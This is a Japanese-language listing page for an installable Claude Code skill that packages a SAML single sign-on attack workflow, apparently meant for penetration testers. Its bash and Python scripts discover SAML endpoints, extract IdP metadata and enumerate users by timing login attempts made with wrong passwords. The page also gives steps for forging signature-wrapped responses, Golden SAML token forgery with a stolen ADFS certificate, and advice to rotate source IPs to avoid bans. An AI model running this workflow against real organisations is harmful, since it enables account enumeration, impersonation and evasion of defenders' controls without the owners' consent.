mcpField
S
saml-sso-attack

saml-sso-attack

github.com/uphiagoセキュリティ1.3k42 回インストール8 週間前に更新
リポジトリ

saml-sso-attack について

認可済みの SAML SSO セキュリティ評価向けスキルです。メタデータやリクエストの分析、一般的な SAML の弱点の確認、タイミングベースのユーザー列挙と検証手順を扱います。

主な機能

  1. 01IdP メタデータの抽出と分析
  2. 02SAMLRequest のデコード
  3. 03XML Signature Wrapping のテスト
  4. 04署名削除とリプレイの確認
  5. 05タイミングベースのユーザー列挙

活用シーン

  1. 01IdP エンドポイントと署名メタデータの把握
  2. 02SAML レスポンス検証のテスト
  3. 03SSO のユーザー列挙リスク評価

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/uphiago/recon-skills --skill saml-sso-attack

インストール後、Claude Code で/saml-sso-attackを入力して読み込まれたか確認します。

詳細

SAML SSO 攻撃スキル

SAML シングルサインオン攻撃の手法 — IdP メタデータの分析、XML Signature Wrapping(XSW)、署名の削除、NameID へのコメントインジェクション、SSO の応答時間に基づくユーザー列挙です。TARGET_ORG_A(SimpleSAMLphp IdP、WordPress SP 上で 79 個の XMLRPC メソッド)、TARGET_ORG_B(Ory Kratos + OIDC)、TARGET_ORG_C(ADFS WS-Trust が公開状態)で確認済みです。

使用するタイミング

  • ターゲットが SSO を使用している(idp.、sso.、login.、auth. サブドメインにリダイレクトされる)。
  • URL に SAMLRequest= または SAMLResponse= パラメーターが含まれている。
  • /saml2/idp/metadata.php または /FederationMetadata/2007-06/FederationMetadata.xml でメタデータエンドポイントにアクセスできる。
  • exchange-owa-attack で ADFS が検出された後。

前提条件

  • curl、python3。
  • ターゲットの SAML エンドポイント URL(偵察またはメタデータから取得)。
  • 対話的なテスト用の SAML Raider Burp 拡張機能(任意)。

実行方法

# Discover SAML IdP metadata
curl --max-time 30 --connect-timeout 10 -sk "https://TARGET/saml2/idp/metadata.php" | python3 -c "
import sys, base64, zlib
from xml.etree import ElementTree as ET
content = sys.stdin.read()
if 'EntityDescriptor' in content:
    root = ET.fromstring(content)
    for el in root.iter():
        if 'entityID' in el.attrib:
            print(f'entityID: {el.attrib[\"entityID\"]}')
"

# Decode SAMLRequest from URL
echo "SAMLREQUEST_BASE64" | python3 -c "
import sys, base64, zlib
raw = base64.b64decode(sys.stdin.read().strip())
decompressed = zlib.decompress(raw, -15)
print(decompressed.decode())
"

クイックリファレンス

攻撃前提条件影響
XML Signature Wrapping(XSW)任意のユーザーから取得した有効な署名付きアサーション任意のユーザーへのなりすまし
署名の削除サーバーが署名の有無を検証しない完全な ID 偽造
NameID へのコメントインジェクションNameID 形式がコメントを許可するユーザーへのなりすまし
SAML Response のリプレイInResponseTo の検証がないセッションハイジャック
キーの混同メタデータに複数の署名証明書がある別のキーでアサーションに署名
Audience 制限の回避Audience の検証がないSP 間でのトークンの再利用
メタデータの抽出公開されている IdP メタデータ証明書、エンドポイント、バインディングの特定
Golden SAML(侵害後)盗まれた ADFS トークン署名証明書トークンを偽造し、任意のユーザーになりすます

手順

フェーズ 1 — SAML エンドポイントの検出
TARGET="$1"

echo "[*] SAML endpoint discovery on $TARGET"

# Common SAML paths
declare -A SAML_PATHS
SAML_PATHS["/saml2/idp/metadata.php"]="SimpleSAMLphp IdP"
SAML_PATHS["/saml2/sp/metadata.php"]="SimpleSAMLphp SP"
SAML_PATHS["/FederationMetadata/2007-06/FederationMetadata.xml"]="ADFS"
SAML_PATHS["/adfs/ls/IdpInitiatedSignOn.aspx"]="ADFS Login"
SAML_PATHS["/adfs/services/trust"]="ADFS WS-Trust"
SAML_PATHS["/auth/realms/master/protocol/saml"]="Keycloak SAML"
SAML_PATHS["/.well-known/openid-configuration"]="OIDC"
SAML_PATHS["/sso/saml"]="Generic SAML"
SAML_PATHS["/idp/shibboleth"]="Shibboleth"
SAML_PATHS["/simplesamlphp"]="SimpleSAMLphp root"

for path in "${!SAML_PATHS[@]}"; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "https://$TARGET$path")
  [[ "$code" == "200" || "$code" == "302" ]] && echo "  [FOUND] $path — ${SAML_PATHS[$path]} (HTTP $code)"
  sleep 1
done
フェーズ 2 — IdP メタデータの抽出
METADATA_URL="$1"  # e.g., https://idp.target.com/saml2/idp/metadata.php

echo "[*] Extracting SAML metadata from $METADATA_URL"

METADATA=$(curl -sk --max-time 10 --connect-timeout 10 "$METADATA_URL" 2>/dev/null)

if [[ -z "$METADATA" ]]; then
  echo "[-] No metadata accessible"
  exit 1
fi

# Parse with Python
echo "$METADATA" | python3 -c "
import sys
from xml.etree import ElementTree as ET

content = sys.stdin.read()
root = ET.fromstring(content)

# Namespaces
ns = {'md': 'urn:oasis:names:tc:SAML:2.0:metadata',
      'ds': 'http://www.w3.org/2000/09/xmldsig#'}

# Entity ID
entity_id = root.get('entityID', 'unknown')
print(f'Entity ID: {entity_id}')

# Signing certificates
for cert_el in root.iter('{http://www.w3.org/2000/09/xmldsig#}X509Certificate'):
    cert = cert_el.text.strip()
    print(f'Signing Cert ({len(cert)} chars): {cert[:60]}...')

# SSO endpoints
for el in root.iter():
    if 'Binding' in el.attrib:
        binding = el.attrib['Binding']
        location = el.attrib.get('Location', '')
        if 'HTTP-Redirect' in binding or 'HTTP-POST' in binding:
            print(f'Endpoint: {location} [{binding.split(\":\")[-1]}]')

# NameID formats
for el in root.iter('{urn:oasis:names:tc:SAML:2.0:metadata}NameIDFormat'):
    print(f'NameID Format: {el.text}')
" 2>/dev/null
フェーズ 3 — SAMLRequest のデコードと分析
SAML_B64="$1"  # from URL parameter or Burp

echo "[*] Decoding SAMLRequest"

echo "$SAML_B64" | python3 -c "
import sys, base64, zlib
from xml.etree import ElementTree as ET

raw = sys.stdin.read().strip()
decoded = base64.b64decode(raw)
try:
    decompressed = zlib.decompress(decoded, -15)
except:
    decompressed = decoded

xml = decompressed.decode('utf-8', errors='replace')
print(xml[:3000])

root = ET.fromstring(xml)
print()
print('=== Analysis ===')

# Request ID
req_id = root.get('ID', 'none')
print(f'Request ID: {req_id}')

# Issuer
issuer_el = root.find('.//{urn:oasis:names:tc:SAML:2.0:assertion}Issuer')
if issuer_el is not None:
    print(f'Issuer: {issuer_el.text}')

# ForceAuthn
force = root.get('ForceAuthn', 'false')
print(f'ForceAuthn: {force}')

# NameIDPolicy
policy_el = root.find('.//{urn:oasis:names:tc:SAML:2.0:protocol}NameIDPolicy')
if policy_el is not None:
    allow_create = policy_el.get('AllowCreate', 'false')
    fmt = policy_el.get('Format', 'unspecified')
    print(f'NameIDPolicy: AllowCreate={allow_create}, Format={fmt}')
" 2>/dev/null
フェーズ 4 — SSO の応答時間に基づくユーザー列挙
TARGET="$1"  # SSO login endpoint
USERS_FILE="$2"  # List of usernames/emails to test

echo "[*] SSO timing-based user enumeration"

# The technique: valid users produce a different response time than invalid users
# because the server checks LDAP/AD before returning the SAML response

while read -r user; do
  START=$(date +%s%N)
  curl -sk -o /dev/null --max-time 15 --connect-timeout 10 \
    "https://$TARGET/sso/login?username=$user&password=WRONG_PASS" 2>/dev/null
  END=$(date +%s%N)
  ELAPSED=$(( (END - START) / 1000000 ))

  echo "  $user: ${ELAPSED}ms"
  sleep 1
done < "$USERS_FILE" | sort -t: -k2 -rn | head -20

echo "[*] Users with significantly higher response times likely exist"
フェーズ 5 — XML Signature Wrapping(XSW)のテスト
TARGET="$1"

echo "[*] XSW vulnerability analysis"

# Check if IdP signs only the Assertion (good) or the entire Response (better)
# If only the Assertion is signed, XSW is possible:
# 1. Capture a valid SAML Response with signed Assertion
# 2. Create a new Response containing the original signed Assertion + a forged Assertion
# 3. If the SP validates the forged Assertion instead of the signed one → impersonation

echo "[*] Manual XSW test steps:"
echo "  1. Capture SAML Response from browser (Burp/DevTools)"
echo "  2. Decode SAMLResponse (base64 + inflate)"
echo "  3. Check: is Signature on Response or Assertion level?"
echo "  4. If Assertion-level: wrap original Assertion + forged Assertion in new Response"
echo "  5. Submit forged SAMLResponse to SP ACS endpoint"
echo "  6. If SP accepts → XSW confirmed"

注意点

  • XSW は複雑です。 XML の名前空間、正規化、SAML レスポンス構造を理解する必要があります。
  • SAML メッセージは大きくなります。 URL 内の SAMLResponse は 4000 文字を超える場合があります。レスポンスには POST バインディングがよく使用されます。
  • SP が InResponseTo を検証する場合があります。 検証する場合、リプレイ攻撃は失敗します。同じ SAMLResponse を 2 回送信して確認してください。
  • 署名の削除が有効なのは、脆弱な SP のみです。 最新の SP のほとんどは、署名されていないアサーションを拒否します。
  • レート制限に注意してください。 SSO の応答時間に基づく列挙やエンドポイントの検出は、アカウントロックや IP アドレスの禁止を引き起こす可能性があります。リクエストの間には必ず sleep(1 秒以上)を入れ、本番環境でのエンゲージメントでは複数の送信元 IP アドレスを使い分けてください。

検証

  • メタデータから、最低限、エンティティ ID、署名証明書、SSO エンドポイント、NameID 形式を確認できる必要があります。
  • SAMLRequest をデコードすると、Issuer、ID、NameIDPolicy 要素を含む有効な XML になる必要があります。
  • SSO の応答時間に基づく列挙では、有効なユーザーと無効なユーザーの間に統計的に有意な差(200ms 超)が確認できる必要があります。
  • XSW:偽造した SAMLResponse が SP に受け入れられ、有効なセッションが作成される必要があります。
  • すべての SAML エンドポイントを記録する必要があります:IdP メタデータ URL、SP ACS URL、バインディングの種類、証明書の詳細。

最新の SAML CVE と手法

CVE影響を受ける対象影響年
CVE-2025-25291ruby-saml ≤ 1.17.0XSW/署名の混同による認証回避2025
CVE-2025-25292ruby-saml ≤ 1.17.0パーサー差異による認証回避2025
CVE-2024-45428GitLab(ruby-saml)SAML 認証回避 — アカウントの完全な乗っ取り2024
CVE-2024-45409ruby-saml ≤ 1.16.0Signature Wrapping(XSW)による認証回避2024
CVE-2023-2813GitLab CE/EESAML グループクレームの検証不備2023
Golden SAML 攻撃(侵入後)

ADFS サーバーへのアクセスを取得するか、トークン署名証明書を抽出した後:

  1. ADFS のトークン署名証明書(.pfx または秘密鍵)を抽出します。
  2. AADInternals などのツール、またはカスタムの Python スクリプトを使用して、SAML トークンを偽造します。
  3. パスワードや MFA を必要とせず、あらゆるユーザー(クラウド専用の ID を含む)になりすまします。
  4. Azure AD/Entra ID のフェデレーションドメインに関連します。偽造されたトークンは無期限に信頼されます。
SAML ツール
  • SAML Raider(Burp 拡張機能) — エンコード/デコード、XSW、証明書操作
  • SAMLReQuest(Burp 拡張機能) — 軽量な SAML リクエストエディター
  • saml2aws — SAML 経由の AWS SSO 用 CLI
  • AADInternals — Azure AD/Entra ID 用 PowerShell ツールキット(Golden SAML)
  • ESPOOR — SAML メッセージ操作ツール

コメント